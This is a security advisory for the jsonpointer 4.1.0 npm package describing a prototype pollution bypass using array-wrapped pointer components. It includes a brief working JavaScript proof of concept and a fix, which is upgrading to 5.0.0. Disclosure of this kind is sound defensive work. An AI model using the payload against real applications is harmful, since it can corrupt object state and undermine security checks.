jsonpointer@4.1.0 vulnerabilities

Simple JSON Addressing.

Direct Vulnerabilities

Known vulnerabilities in the jsonpointer package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • M
Prototype Pollution

jsonpointer is a Simple JSON Addressing.

Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of a previous Prototype Pollution fix when the pointer components are arrays.


const jsonpointer = require('jsonpointer');

// jsonpointer.set({}, ['__proto__', '__proto__', 'polluted'], 'yes');
// console.log(polluted); // ReferenceError: polluted is not defined

jsonpointer.set({}, [['__proto__'], ['__proto__'], 'polluted'], 'yes');
console.log(polluted); // yes

How to fix Prototype Pollution?

Upgrade jsonpointer to version 5.0.0 or higher.